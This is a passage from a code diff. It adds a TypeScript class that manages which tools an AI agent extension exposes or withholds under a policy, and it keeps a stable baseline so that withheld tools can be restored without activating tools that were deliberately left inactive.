+ /** Decides whether the current policy lets the agent see a tool. */
22
+ type ToolExposurePolicy = (toolName: string) => boolean;
23
+
24
+ /**
25
+ * The runtime tool surface a session has, independent of what policy withholds.
26
+ *
27
+ * Filtering writes its result back through `setActive`, so reading the active
28
+ * set again next turn returns the *filtered* set. Applying policy to that makes
29
+ * the surface monotonically shrink and leaves a tool stranded once its rule is
30
+ * relaxed (#873). This baseline is the stable input policy is applied to
31
+ * instead: `exposed = baseline ∩ policy`, recomputed every turn.
32
+ *
33
+ * The baseline only ever grows from tools observed **active**, never from the
34
+ * whole registry, so a tool pi deliberately left inactive is never activated
35
+ * (#385). A tool that stops being active without this extension withholding it
36
+ * — another extension deactivating it — leaves the baseline with it.
37
+ */
38
+ export class ToolSurfaceBaseline {
39
+ private baseline: readonly string[] = [];
40
+ private withheld: ReadonlySet<string> = new Set();
41
+
42
+ resolveExposed(
43
+ observation: ToolSurfaceObservation,
44
+ isExposed: ToolExposurePolicy,
45
+ ): ToolSurfaceResolution {
46
+ const baseline = this.rebuild(observation);
47
+ const exposed: string[] = [];
48
+ const withheld: string[] = [];
49
+ for (const toolName of baseline) {
50
+ (isExposed(toolName) ? exposed : withheld).push(toolName);
51
+ }
52
+ const restored = exposed.filter((toolName) => this.withheld.has(toolName));
53
+ const changed = !holdsExactly(this.withheld, withheld);
54
+
55
+ this.baseline = baseline;
56
+ this.withheld = new Set(withheld);
57
+ return { exposed, withheld, restored, changed };
58
+ }
59
+
60
+ /** Forget the surface, so the next turn reseeds from what pi reports. */
61
+ reset(): void {
62
+ this.baseline = [];
63
+ this.withheld = new Set();
64
+ }
65
+
66
+ /**
67
+ * Reconstruct the pre-filter surface: the tools still active, plus the ones
68
+ * only this extension's own filtering removed, plus anything newly active.
69
+ *
70
+ * A withheld tool that has left the registry is forgotten rather than kept as
71
+ * a restoration candidate, so re-registering it inactive cannot activate it.
72
+ * The registry is consulted for withheld tools only — an active tool is real
73
+ * by definition — and an active tool is adopted whatever the registry says,
74
+ * so a registry that reports nothing can cost restoration candidates but
75
+ * never removes a tool pi has active.
76
+ */
77
+ private rebuild(observation: ToolSurfaceObservation): readonly string[] {
78
+ const active = new Set(observation.active);
79
+ const baseline = this.baseline.filter(
80
+ (toolName) =>
81
+ active.has(toolName) ||
82
+ (this.withheld.has(toolName) && observation.registered.has(toolName)),
83
+ );
84
+
85
+ const known = new Set(baseline);
86
+ for (const toolName of observation.active) {
87
+ if (!known.has(toolName)) {
88
+ known.add(toolName);
89
+ baseline.push(toolName);
90
+ }
91
+ }
92
+ return baseline;
93
+ }
94
+ }
95
+
96
+ function holdsExactly(
97
+ set: ReadonlySet<string>,
98
+ members: readonly string[],
99
+ ): boolean {
100
+ return set.size === members.length && members.every((m) => set.has(m));
101
+ }